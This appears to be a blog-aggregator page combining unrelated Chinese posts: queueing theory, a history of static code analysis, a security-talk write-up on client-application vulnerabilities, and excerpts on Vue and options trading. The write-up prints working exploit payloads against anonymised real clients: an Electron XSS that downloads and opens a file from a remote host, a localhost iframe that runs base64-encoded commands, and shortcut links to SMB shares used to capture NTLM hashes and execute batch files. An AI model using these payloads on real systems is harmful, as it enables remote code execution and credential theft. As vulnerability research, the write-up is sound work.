其中 \(\lambda\) 表示事件发生的频率，这个频率是通过统计之前收集的数据得到的，比如本例中我们已知每小时预计有 5.8 位顾客到达，那么以 1 小时为单位，\(\lambda\) 即是 5.8。
根据这个公式，可以计算出 1 小时内有 n 位顾客到达的概率，当然，n 在 5.8 左右时概率最大，越偏离 5.8 概率越小。比如 1 小时内有 100 位顾客也是有可能的，只是这个概率会小得可忽略不计。
以下是一些常见的泊松分布的事件：
- 电话呼入：在一个呼叫中心，每小时接到的电话数量。
- 公交车到站：在固定的时间内到达某个公交站的公交车数量。
- 流量统计：在网站或网络节点上，每分钟的访问或数据包数量。
- 自然现象：如一定时间内某地区的雷击次数或降雨事件。
- 排队系统：例如银行柜台在特定时间内接待的顾客数量。
指数分布和泊松分布可以认为是描述相同现象的不同部分：泊松分布关注一段时间内发生 n 个随机事件的概率，而指数分布关注每两个连续的随机事件之间的时间间隔。
指数分布的公式也与泊松分布的公式相关。比如，如果想计算一段时间内某件事不发生的概率，就相当于计算上面泊松分布中 \(n=0\) 的概率：
\[ \begin{align*} P(X=0)&=\frac{e^{-\lambda}\lambda^{0}}{0!} \\ &=e^{-\lambda} \end{align*} \]
而在一段时间内事件发生的概率，则是 1 减去上面的值，即：
\[1-e^{-\lambda}\]
以下是一些常见的指数分布的事件：
- 顾客服务时间：在银行或超市收银台，每位顾客的服务时间。
- 机械故障：如电梯或生产线设备之间的故障时间间隔。
- 半衰期：放射性物质的原子衰变时间间隔。
- 交通事故：在特定路段上，两次交通事故之间的时间间隔。
- 生物学事件：如某种细胞分裂或动物捕食行为之间的时间间隔。
项目管理中的排队论
排队论在各种服务性质的工作中非常有用，除此之外，软件开发中也有很多场景可以参考。
软件的开发和维护过程与柜台服务类似，不断地有新的需求（顾客）过来，程序员（柜员）则负责处理这些需求。新需求的到达时间以及工作量都是随机的，可以大致认为分别符合泊松分布和指数分布。
团队的管理者常常会期待这样一种理想状况：每一个需求过来时都能很快得到处理，同时员工人员基本没有冗余（即没有人闲着）。但只要在软件开发团队待过就会知道，这种理想状况极少发生，大多数时候都是需求不断积压，程序员加班加点仍然难以赶上进度。
如果你仔细地测算每一个需求的工作量，以及平均每周有多少新需求，你可能会发现如果只看平均值数据，团队应该能够处理这些工作才对，但事实却是很多需求都延期了。看了上面的讨论，你现在应该知道了，很多时候工作安排并不能简单地算平均值，因为需求具有随机性，如果你希望对抗这种随机性，让新需求能尽快得到处理，一些冗余将是必须的。
当然，软件开发和柜台服务之间也有很大的不同，其中之一是开发人员通常不能简单地互换，和柜员相比，开发人员之间交接工作的成本可能会比较高。不过总体来说，排队论的思想和方法仍然是适用的。
- 博客 LoRexxar's Blog 2023-12-18 17:30:42
自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了现代伟大的科技时代。
在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。
而SAST作为自动化代码分析的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。
本篇文章其实在2年前曾经写过一次，在2年后的今天处于偶然的契机正好要写一篇相关的文章，所以重写了这部分内容，其中修正了不少在这期间内探索获取的新理念和思路，希望有价值。
静态代码分析工具
静态代码分析主要是通过分析目标代码，通过纯静态的手段进行分析处理，并挖掘相应的漏洞/Bug.
再过去的十几年里，静态代码分析工具经历了长期的发展与演变过程，下面我们就一起回顾一下（下面的每个时期主要代表的相对的发展期，并不是比较绝对的诞生前后）：
上古时期 - 关键字匹配
如果我问你“如果让你设计一个自动化代码审计工具，你会怎么设计？”，我相信，你一定会回答我，可以尝试通过匹配关键字。紧接着你也会迅速意识到通过关键字匹配的问题。
这里我们拿PHP做个简单的例子。
虽然我们匹配到了这个简单的漏洞，但是很快发现，事情并没有那么简单。
也许你说你可以通过简单的关键字重新匹配到这个问题
1
\beval\(\$
但是可惜的是，作为安全研究员，你永远没办法知道开发人员是怎么写代码的。于是选择用关键字匹配的你面临着两种选择：
- 高覆盖性 – 宁错杀不放过
这类工具最经典的就是Seay，通过简单的关键字来匹配经可能多的目标，之后使用者可以通过人工审计的方式进一步确认。
1
\beval\b\(
- 高可用性 – 宁放过不错杀
这类工具最经典的是Rips免费版
1
\beval\b\(\$_(GET|POST)
用更多的正则来约束，用更多的规则来覆盖多种情况。这也是早期静态自动化代码审计工具普遍的实现方法。
但问题显而易见，高覆盖性和高可用性是这种实现方法永远无法解决的硬伤，不但维护成本巨大，而且误报率和漏报率也是居高不下。所以被时代所淘汰也是历史的必然。
近代时期 - 基于AST的代码分析
有人忽略问题，也有人解决问题。关键字匹配最大的问题是在于你永远没办法保证开发人员的习惯，你也就没办法通过任何制式的匹配来确认漏洞，那么基于AST的代码分析方式就诞生了，开发人员是不同的，但编译器是相同的。
在分享这种原理之前，我们首先可以复习一下编译原理。拿PHP代码举例子：
随着PHP7的诞生，AST也作为PHP解释执行的中间层出现在了编译过程的一环。
通过词法分析和语法分析，我们可以将任意一份代码转化为AST语法树。PHP常见的语义分析库可以参考：
当我们得到了一份AST语法树之后，我们就解决了前面提到的关键字匹配最大的问题，至少我们现在对于不同的代码，都有了统一的AST语法树。如何对AST语法树做分析也就成了这类工具最大的问题。
在理解如何分析AST语法树之前，我们首先要明白infomation flow、source、sink三个概念，
- source： 我们可以简单的称之为输入，也就是infomation flow的起点
- sink： 我们可以称之为输出，也就是infomation flow的终点
- infomation flow，则是指数据流动的过程。
把这个概念放在PHP代码审计过程中，Source就是指用户可控的输入，比如$_GET、$_POST等，而Sink就是指我们要找到的敏感函数，比如echo、eval，如果某一个Source到Sink存在一个完整的流，那么我们就可以认为存在一个可控的漏洞，这也就是基于infomation flow的代码审计原理。
在明白了基础原理的基础上，我举几个简单的例子：
在上面的分析过程中，Sink就是eval函数，Source就是$_GET，通过回溯Sink的来源，我们成功找到了一条流向Source的infomation flow，也就成功发现了这个漏洞。
在分析infomation flow的过程中，明确作用域是基础中的基础.这也是分析infomation flow的关键，我们可以一起看看一段简单的代码
如果我们很简单的跟踪赋值关系去回溯，而没有考虑到函数定义的话，我们很容易将流定义为：
这样我们就错误的把这段代码定义成了存在漏洞，但很显然并不是，而正确的分析流程应该是这样的:
在这段代码中，从主语法树的作用域跟到Get函数的作用域，如何维持作用域的变动，就是基于AST语法树分析的一大难点，当我们在代码中不可避免的使用递归来控制作用域时，在多层递归中的统一标准也就成了分析的基础核心问题。
事实上，即便你做好了这个最简单的基础核心问题，你也会遇到层出不穷的问题。这里我举两个简单的例子
(1) 新函数封装
这是一段很经典的代码，敏感函数被封装成了新的敏感函数，参数是被二次传递的。为了解决，这样infomation flow的方向从逆向->正向的问题。
(2) 多重调用链
这是一段有漏洞的JS代码，人工的话很容易看出来问题。但是如果通过自动化的方式回溯参数的话就会发现整个流程中涉及到了多种流向。
这里我用红色和黄色代表了流的两种流向。要解决这个问题只能通过针对类/字典变量的特殊回溯才能解决。
如果说，前面的两个问题是可以被解决的话，还有很多问题是很难被解决的，这里举一个简单的例子。
这是一个典型的全局过滤，人工审计可以很容易看出这里被过滤了。但是如果在自动化分析过程中，当回溯到Source为$_GET[‘a’]时，已经满足了从Source到sink的infomation flow，已经被识别为漏洞。一个典型的误报就出现了。
而基于AST的自动化代码审计工具也正是在与这样的问题做博弈，对于基于AST的代码分析来说，最大的挑战在于没人能保证自己完美的处理所有的AST结构，再加上基于单向流的分析方式，无法应对100%的场景。
近代时期 - 基于IR/CFG的代码分析
如果深度了解过基于AST的代码分析原理的话，不难发现许多弊端。首先AST是编译原理中IR/CFG的更上层，其内容更接近源代码。
也就是说，分析AST更接近分析代码，换句话就是说基于AST的分析得到的流，更接近脑子里对代码执行里的流程，忽略了大多数的分支、跳转、循环这类影响执行过程顺序的条件，这也是基于AST的代码分析的普遍解决方案，当然，从结果论上很难辨别忽略带来的后果。而基于IR/CFG这类带有控制流的解决方案，则是另一种解决思路。
首先我们得知道什么是IR/CFG。
- IR：是一种类似于汇编语言的线性代码，其中各个指令按照顺序执行。其中现在主流的IR是三地址码（四元组）
- CFG: （Control flow graph）控制流图，在程序中最简单的控制流单位是一个基本块，在CFG中，每一个节点代表一个基本块，每一个边代表一个可控的控制转移，整个CFG代表了整个代码的的控制流程图。
一般来说，我们需要遍历IR来生成CFG，当然，你也可以用AST来生成CFG，毕竟AST是比较高的层级。
而基于CFG的代码分析思路优势在于，对于一份代码来说，你首先有了一份控制流图（或者说是执行顺序），然后才到漏洞挖掘这一步。比起基于AST的代码分析来说，你只需要专注于从Source到Sink的过程即可。
但其实无论是基于哪种底层，后续的分析流程与AST其实别无太大的差别，挑战的核心仍然维持在如何控制流，维持作用域，处理程序逻辑的分支过程，确认Source与Sink。上文中提到的是静态分析当中比较常见的一种作用域数据流回溯分析的思路，其实正向的污点分析，亦或者后来被人提到比较多的指针分析，核心思路大同小异。
而代码分析的基础方面，既然存在基于AST的代码分析，又存在基于CFG的代码分析，自然也存在其他的种类。比如现在市场上主流的fortify，Checkmarx，Coverity包括最新的Rips都使用了自己构造的语言的某一个中间部分，比如fortify和Coverity就需要对源码编译的某一个中间语言进行分析，又比如源伞实现了多种语言生成统一的IR，Joern使用了基于AST生成的CPG图结构进行分析。
事实上，无论是基于某种基础结构的代码分析，技术手段本身只有适应场景的不同，对于技术选型这件事情本身来说更重要的是你想要构建一个什么样的代码分析工具。
未来 - 通用化代码分析框架
基于QL概念的框架 - CodeQL
QL指的是一种面向对象的查询语言，用于从关系数据库中查询数据的语言。我们常见的SQL就属于一种QL，一般用于查询存储在数据库中的数据。
而在代码分析领域，Semmle QL是最早诞生的QL语言，他最早被应用于LGTM，并被用于Github内置的安全扫描为大众免费提供。紧接着，CodeQL也被开发出来，作为稳定的代码分析框架在github社区化。
那么什么是QL呢？QL又和代码分析有什么关系呢？
首先我们回顾一下基于AST、CFG这类代码分析最大的特点是什么？无论是基于哪种中间件建立的代码分析流程，都离不开3个概念，流、Source、Sink，这类代码分析的原理无论是正向还是逆向，都是通过在Source和Sink中寻找一条流。而这条流的建立围绕的是代码执行的流程，就好像编译器编译运行一样，程序总是流式运行的。这种分析的方式就是数据流分析（Data Flow）。
而QL就是把这个流的每一个环节具象化，把每个节点的操作具像成状态的变化，并且储存到数据库中。
这样一来，通过构造QL语言，我们就能找到满足条件的节点，并构造成流。下面我举一个简单的例子来说：
1
2
3
4
5
6<?php
$a = $_GET['a'];
$b = htmlspecialchars($a);
echo $b;我们简单的把前面的流写成一个表达式
1
echo => $_GET.is_filterxss
这里is_filterxss被认为是输入$_GET的一个标记，在分析这类漏洞的时候，我们就可以直接用QL表达
1
2
3
4
5select * where {
Source : $_GET,
Sink : echo,
is_filterxss : False,
}通过构造满足条件的语句，我们就可以找到这个漏洞（上面的代码仅为伪代码），从这样的一个例子我们不难发现，QL其实更接近一个概念，他鼓励将信息流具象化，这样我们就可以用更通用的方式去写规则筛选。
CodeQL类的工具(包括CheckMarx等等)其实就是类似的一个基础理念，通过封装底层的代码处理逻辑，并提供一个非常易用的上层平台给用户，用户可以不用了解复杂的编译原理就可以编写漏洞的规则。
但其实说到底这只是一个理念，并不是结果，以CodeQL为例子，其构建的一套语法规则并不能算是一套门槛很低的东西，反而其黑盒的底层阻止了安全研究人员进一步研究和使用CodeQL。
基于工具化的框架 - Joern
如果说CodeQL类的工具是探索做一个通用化的代码分析框架，来解决代码分析的场景。那Joern就走了另一条路，就是工具化。
Joern的底层原理是一套基于AST生成的通用CPG(Code Property Graph)图，在图的上层实现了一套基于OverflowDb的查询语言以供使用者可以在不需要知晓底层原理的基础上查询分析。
但我们这里想讨论的并不是Joern的原理，而是理念。Joern把自己定位成了安全研究员用于代码分析的一个工具，而不是执着于用一个按钮一个规则扫描漏洞，而是提供了人和代码的桥梁。
在Joern里，我用的比较多，也是比较常见的一个场景就是寻找某个方法的调用关系。在Joern shell当中，你可以用非常简单的方法获取某个函数的调用位置，已经调用了该函数的函数。
所以在Joern当中，你可以忽略数据流分析，而是用一些非常简单的交互式命令来辅助，在Joern你可以非常简单的获取“调用了A方法的路由入口”，而更实际的利用链完全可以有人来判定，省去为了上下文分析花去的力气。
当然，Joern在某些方面是成也工具化败也工具化，cpg本身强调调用关系和引用关系，Joern shell后端引用scala易用性有余实用性不足，你几乎很难在Joern的上层做数据流分析层面的分析。
后话
其实相较第一版本的内容来说，我没有对文章内容做太多的更改，因为对于静态分析的底层原理来说用什么技术已经没什么很大的意义了，说到底原理都是差不多的。
商业代码分析的软件包括Checkmarx、fortify等等，再到后来的CodeQL说到底其实都是技术长期积累的技术壁垒，很多问题也不是学术上的什么难点攻破。
而近几年越来越多的相关东西也如雨后春笋冒了出来，开源社区比较火的Joern、tabby、tai-e，商业公司比较火的蜚语的corax，梅子酒创业的寻臻科技，其实技术原理上的东西大同小异，说到底就是还没有足够好用的产品出来，大多代码分析的软件还停留在某个底层技术的应用上。
而代码分析工具本身的易用性和场景化遇到的问题在我看来问题更大，即便是商业化程度非常高的Checkmarx这种软件也没法非常简单直白的接入到devsecops流程当中，很多工具甚至都解决不了高误报率和扫描效率低的问题，更谈不上实用了。在我看来，一款实用的好的代码分析软件还有很长的路要走~
- 博客 Vulkey_Chen's Blog 2023-12-18 00:00:00
被忽视的暗面：客户端应用漏洞挖掘之旅
前言
在2023年12月15日，我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员，我被邀请分享名为“被忽视的暗面：客户端应用漏洞挖掘之旅”的技术议题。
客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序，如即时通讯、远程服务、视频软件等应用，探索其中存在的漏洞和潜在的安全风险。
漏洞案例
漏洞案例的分析主要分为两类，一是常规风险的介绍和了解，二是RCE漏洞的挖掘思路和手法。
注意：以下漏洞案例均通过脱敏和细节上的处理。
常规风险篇
常规风险在这里我分为这几类：信息泄露、白利用、逻辑校验、缓冲区溢出。
信息泄漏
对于客户端的信息泄露，我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配，将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。
实际效果没有那么好，仅有一些数据库的连接配置信息泄露，并且由于是基于IDA的也没有那么好的进行自动批量化发现。
我们可以借助
Strings工具来快速的获取可执行文件的字符串内容，并通过正则或其他方式进行匹配。
白利用
白利用问题就老生常谈了，在红队的工作中也经常遇到，如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多的赘述了。
逻辑校验
很多客户端程序在对用户信息进行获取的时候会通过内存的方式，来获取用户的编号，从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的，我们可以通过CE来对内存进行修改，从而导致越权漏洞的产生。
这类问题很经典，在以往就有许多案例（wooyun-2015-0143395、wooyun-2014-048606），但现在仍然可以从一些主流的应用上发现到类似的安全问题。
缓冲区溢出
缓冲区溢出问题太多太多了，我们可以通过通过IDA插件VulFi定位脆弱点，很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外，也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz，从而找到溢出问题。
除了本地网络服务以外，最经典的、利用最多的还是特定文件格式处理客户端，如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序，它用于各种各样的图片处理，我们可以找一些比较不常见的图片格式，并且通过网盘资源找到一些样本文件，丢给GPT或IFFA来分析文件格式，并输出Pits脚本，通过Peach Fuzzer来进行Fuzz工作。
RCE篇
接着我们来到RCE篇，请注意这里的RCE并不是Pre Auth的，案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对，如果一些客户端的网络服务端口是监听在0.0.0.0的，只要你与目标机器处于同一个网络，或该客户端是在服务器上使用的，也一样可以实现0 Click的效果。
Web类客户端
Web类客户端，我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序，如Electron这类CEF（浏览器嵌入式）框架开发的客户端应用，以及基于渲染引擎（如Wke）所开发的客户端应用。
某IM客户端应用
如下图所示，是一个即时通讯客户端应用，我在群名称重命名时发现了一个反射XSS漏洞，根据其目录结构我知道它是一个基于Electron开发的程序。
在Electron框架下，如果开发者在渲染页面时配置
nodeIntegration为true，则说明我们可以在前端中使用Nodejs的语法，这就导致我们可以直接在前端使用如下Nodejs代码执行命令：require('child_process').exec(...);但是这个配置项在创建功能窗口时并没有开启：
所以，我们也就没办法通过XSS执行Nodejs的代码，但是根据当前的Electron的版本1.8.7去互联网检索，发现这个版本存在一个历史漏洞：CVE-2018-15685，而后进行相关验证，也无法成功。
但是我们在
\resources\app\src\inject\preload.js文件中（这是预加载JS，也就表示这个文件在窗口创建后，页面创建前就执行了），发现了注册的全局变量：window.ZxDesktop = ZxDesktop;所以我们可以直接去调用这个全局变量，从而去使用其内部的定义的一些功能：
该全局变量实际上导出了很多其他模块及对应方法：
我们跟进File模块，就可以发现存在一个open函数：
跟进代码和测试之后，发现它就是文件打开函数，在Console下去调用，成功打开计算器：
接着看导出函数列表的其他项，发现存在两个文件保存的方法：
而它们所指向的都是另外一个模块的方法：
const Download = require('../download_extra/download.render.js');跟进这个模块，发现实际上他们都来自同一个方法，只不过传递的参数isSelect有不同：
接着我们来完整的阅读下代码即可发现整个逻辑，首先根据你传递的参数来判断要调用NormalDownload（正常下载）还是ChunkDownload（分块下载），接着根据isSelect函数来判断调用save还是saveAs方法：
所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码，来查看它们这些方法的逻辑是什么，这里看了之后，两者代码的唯一区别就是分块，所以本文就以NormalDownload的save、saveAs方法去说明。
首先是saveAs方法，它会调用一个文件保存框，然后赋值调用retryStart方法：
而实际上retryStart方法内调用的是start方法，这个方法是用来进行请求下载的：
而后下载的文件实际上会保存在用户的数据目录下，save方法与saveAs方法的最大的不同就是没有这个文件保存框，所以我们当然选择使用save方法。
需要注意，在如上代码中save和saveAs的传递参数不一致，其实这不影响最终的处理，因为在一开始的对象创建时候就通过构造函数赋值了：
let downloader = new Download(file, config);
至此，我们就获得了文件下载的攻击路径，我们可以根据对应参数这样构建JS代码：
ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});我们已经获得了文件下载的功能，攻击路径就很明显了：用户下载文件，打开文件。但是实际操作中，我们打开文件还缺少一个路径，并且在实际的测试中，默认情况下，下载的文件是会保存在应用的数据目录的null目录下。
而这个目录可能会被用户更改（用户名也没法获取），所以我们需要搭配一个点去获取路径，在这里找到了ZxDesktop的System模块：
它的导出列表中有两个属性：dbPath、userDataPath，它们的内容都是一样的，指向了用户的数据目录：
ZxDesktop.require("System").userDataPath我们可以这样拼接，就有了下载文件的目录信息了：
ZxDesktop.require("System").userDataPath + "/null/test.txt"当我们满足所有条件后，就可以构造完整的攻击代码了：
1.下载文件：
var a = ZxDesktop; var b = a.require("File"); b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});2.拼接文件路径，打开文件：
b.open(a.require("System").userDataPath + "/null/test.txt");3.最终Exploit：
"><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'>
某运维平台客户端
在某运维平台客户端中，我们发现可以通过伪协议链接（
xxx://webview/?url=http://xxxx）来达到端内任意页面加载，这也就表示我们可以执行任意JS代码。根据加载的DLL文件得知，其所依赖的前端页面渲染是开源项目Wke。
在源代码
wke/jsBind.cpp中，发现wkeJSBindFunction方法提供了JSBridge的功能，将JavaScript函数绑定到C++中一个本地函数。
基于IDA分析得知，目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示，其将C++某个函数地址，与名为callprogram的JavaScript函数进行绑定，我们可以直接在JS代码中调用。
跟进对应的C++函数，我们发现它会通过wkeJSParam获取参数，再通过JSToTempStringW获取字符串形式的参数值，最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为：
ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)。
因此我们可以构建如下的Exploit代码，并通过伪协议的方式使目标可以打开包含Exp代码的网页：
<script>callprogram("C:/Windows/System32/cmd.exe", "/c calc");</script>传统类客户端
传统类客户端，我的定义是基于C/C++写的一些传统应用，如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。
某远程服务平台客户端
在拿到一个客户端程序时，第一步是安装，第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息，这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联，辅助我们挖掘漏洞。
如下图所示，安装完某远程服务平台客户端后，我通过火绒剑逐个查看对应的进程信息，在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是
UserClient.exe进程当前的网络通信信息，我们可以看到它在本地监听了两个端口：38227、38230。
它的协议都是TCP，我们可以尝试使用HTTP的方式去访问，结果显示
38230端口可以以HTTP协议的方式进行访问。
我们可以选取响应报文中的
bangwo8client字符串在IDA的Strings窗口中进行搜索，通过这样的方式来进行逻辑的回溯。
双击进入字符串所在的
.RDATA节，我们就可以看到该字符串对应的交叉引用，那么接下来我们的工作就是进入这些函数看具体实现是否对的上响应报文的主体内容。
我们进入一个函数查看，会发现在函数的头部代码中有如下这么一段内容，它的逻辑似乎就对应了HTTP响应报文的主体返回，通过字符串的对应我们能大致知道
sub_487760函数的作用就是为了将字符串解析到JSON格式中，然后再通过其他函数拼接JSON的字段内容给到Block。
除了我们跟进的这个函数外其他的函数逻辑都大致一样，并且我们通过IDA插件
CTO查看调用关系，发现这些函数最终都是被同一个函数sub_674090调用。
那我们再继续跟进函数
sub_674090，函数的逻辑就是根据不同的URI进入不同的函数处理，也就表示着这里就是HTTP请求逻辑处理的入口位置。
有了请求处理逻辑的入口，接下来我们就要去看每个URI对应的处理逻辑是什么，看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。
如果你觉得这样去看很累，也可以基于敏感函数的调用链来对应每个URI的处理函数，如下图所示我就基于
ShellExecuteA函数的调用链找到了URI/api_install的对应处理函数，也就表示当你访问URL：http://127.0.0.1:38230/api_install时很有可能就会触发ShellExecuteA函数。
那么我们可以跟进去看一下该处理函数，看看是否可以将可控参数值带入到
ShellExecuteA函数里去执行。在函数的一开始就判断运行当前程序的用户是否是
system，如果不是的话则直接返回响应内容（状态码500）提示当前不是以SYSTEM权限运行的进程。
这里我们通过Process Hacker可以看到
UserClient.exe进程对应的用户就是SYSTEM：
也就表示我们当前是满足这个条件的，所以可以接着看IF分支内的逻辑。在IF分支内就执行了
ShellExecuteA函数，根据ShellExecuteA函数的使用语法我们知道它这是以v15作为参数执行v16程序，所以我们需要知道v15、v16这两个变量是如何赋值而来的。
具体的逻辑可以下图，我们找到赋值关系最终确认一切的参数来源都是
Block，该值是一个全局变量，那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。
根据猜测，我们可以先使用OD附加进程在
ShellExecuteA函数处下断点。然后请求URL：
http://127.0.0.1:38230/api_install?file=cmd.exe¶m=/k%20notepad，我们就会在OD界面中看见端点到ShellExecuteA函数了，我们可以通过栈来看一下传参是什么。如下所示我们发现
ShellExecuteA函数的参数FileName和Parameters是一串乱码的内容，这应该是我们输入的字符串经过了某些处理后导致的。
因此我们可以在URI
/api_install对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了，如果带进来了为什么最终值会变成一段乱码的数据。如下图OD中可以看见我们的请求参数
file的值cmd.exe确实可以带进来，这也就验证了我们的猜想，ShellExecuteA函数的参数是来源于HTTP请求参数。
接着走下去我们会发现调用如下函数时的参数就是我们的请求参数
file和对应值cmd.exe，当该函数执行完成之后返回到EAX寄存器，我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容，也就是我们在ShellExecuteA函数断点处看见的参数。push esi push eax call UserClie.004203B0
所以我们可以跟进函数
004203B0在IDA中看一下它具体做了什么，这样我们才能构造请求让真正的字符串带入到ShellExecuteA函数中执行。在这之前我们需要注意，由于IDA和实际进程执行的基址不同，我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的，这样我们就可以直接跟进函数
004203B0，而不需要再去进行地址的换算。在IDA中跟进函数
004203B0，它实际上也是调用的另外一个函数00370C70，在该函数里对字符串进行位移转换，猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据word_74E940，我们跟进这个数据之后发现似乎是一张解码表。
如下将整段数据罗列出来，看着与Base64解码所需要的解码表是一致的，所以此处极有可能就是Base64解码操作，将我们的输入的字符串
cmd.exe进行解码，最终就变成了乱码。我们可以将
cmd.exe字符串进行Base64解码，发现结果确实为我们之前所看到的乱码内容：
最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit，当安装了该客户端的应用打开Exp代码对应页面时，即可以执行我们想要的命令。
<iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==¶m=L2sgbm90ZXBhZA==" width="0px" height="0px">
某视频软件客户端
通过URLProtocolView找到视频软件客户端注册的伪协议：
xxplayer://，通过字符串定位程序伪协议的处理功能点，也可以知道有哪些的伪协议路由。
发现这里可以通过
xxplayer://action.cmd/xxx的方式来触发一些功能，所有功能列表如下所示：xxplayer://action.cmd/playShareVideo xxplayer://action.cmd/play xxplayer://action.cmd/downloadvideo xxplayer://action.cmd/downloadpage xxplayer://action.cmd/downloadShareVideo xxplayer://action.cmd/createshortcut_url xxplayer://action.cmd/createshortcut xxplayer://action.cmd/activeHomepage根据字面意思理解它的作用即可，这里我们一个一个带入请求尝试，发现当请求
createshortcut_url时会在桌面创建.link的快捷方式文件。我们跟进这个创建快捷方式的逻辑，发现实际上它还有两个参数：
url、name：
然后将这两个参数值带入
CreateUrlShortcut函数执行，这个函数是导入函数，就是用于创建桌面快捷方式的。
因此我们可以构建伪协议URL：
xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&name=Test，访问就发现它创建了一个名为Test的快捷方式，目标为：C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0，也就表示我们传入的url参数值变成了启动参数，name参数值变成了快捷方式名字。
当我们双击这个快捷方式时，就会调用浏览器打开
http://www.baidu.com。接着我们发现只要
url参数值为xxx://xxx.xxx/的格式即可，那么我们尝试将url参数值修改为file://172.16.176.176/netntlm，也就变成这样：xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123，在机器上responder监听一下，当打开快捷方式时收到了NTLM Hash：
除了获取NTLM Hash，我们还可以在Ubuntu上开一个SMB服务，然后将
url参数设为使用\\172.16.176.176\share\Test.exe，使用快捷方式打开共享文件，发现确实可以打开EXE文件，但是会有文件信任的安全警告（Mark-of-the-Web）。
这里可以通过
jar文件形式去绕过，打包一个打开计算器的Jar包放在共享目录下，然后将url参数设为使用\\172.16.176.176\share\1.jar。
访问
xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123，创建快捷方式，打开快捷方式，执行Jar包启动计算器，这样我们就实现了1 Click执行任意命令。
使用远程Jar包的方式来达到任意命令执行还是有局限性，如果目标机器不存在Java环境就无法执行，因此在对文件信任机制的研究发现在
smb共享文件中打开zip压缩包内的bat文件，不会有任何弹窗提示直接执行bat文件内容。因此我们可以在共享文件夹中创建
1.zip，放入内容为calc的1.bat文件。
将
url参数值设为\\172.16.176.225\share\1.zip\1.bat，然后访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&name=123创建桌面快捷方式，打开快捷方式即可执行bat文件，最终达到不需要任何依赖的情况下执行任意命令。
总结
简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。
关于客户端本地开启的网络协议问题，我总结出如下几步可以快速的进行漏洞发现:
- 找到客户端启动的本地网络服务（TCP、UDP），这个可以用火绒剑或者CMD的方式查看；
- 有本地监听的情况下，找到对应的程序以及加载的DLL，通过IDA根据端口号找到监听的点，如果是C/C++的程序一般找bind这个函数就能快速定位到；
- 向上回溯找调用链，并根据网络服务的返回结果，例如HTTP访问会有一段字符串或者响应头的一些字符串，定位到代码处理逻辑；
- 如果逻辑对应上了，那就接着找程序的导入表是否存在敏感的函数，例如：CreateProcess、WinExec、ShellExec，如果存在则可以向上回溯看看是否与网络服务监听点有联系；
- 当条件都满足的时候就想尽办法，通过断点调试等操作，找传参或数据传输格式，看看可控内容是否可达敏感的函数处；
- 根据代码逻辑构造PoC触发漏洞，并尝试武器化利用。
致谢
在文章的最后，我要感谢公司部门领导和同事对本议题的贡献和帮助（以下排名不分先后），感谢字节跳动安全中心对于本次沙龙的筹办和策划。
- 博客 太隐 2023-12-17 09:05:32通过实践而发现真理，又通过实践而证实真理和发展真理
- 博客 Jiajun的编程随想 2023-12-17 08:00:00《VueJS 总结》使用Vue有一段时间了，可能因为使用场景比较少，一直都感觉不得要领，最近终于有一种融会贯通的感觉了，理解了大部分使用场景和技巧。这篇文章是我的总结...
- 博客 forecho 的独立博客 2023-12-16 15:09:00
引言
期权的滚仓是一个很重要的概念，也是一个很重要的操作，如果你学会了滚仓，那么你就可以让你赚的更多的钱，如果不会滚仓，你可能会后悔卖飞了的期权。
期权的滚仓主要有：
- Roll Up：通常是看涨期权
- Roll Down：通常是看跌期权
这篇文章我主要分享一下 Roll Up 的操作，Roll Down 的操作和 Roll Up 是一样的，只是方向相反而已。
什么是 Roll Up？
期权 Roll Up 指的是关闭现有的期权头寸，同时在相同期权中以更高的执行价格开设新头寸。通常使用场景是持续看涨，买 CALL/卖 PUT。
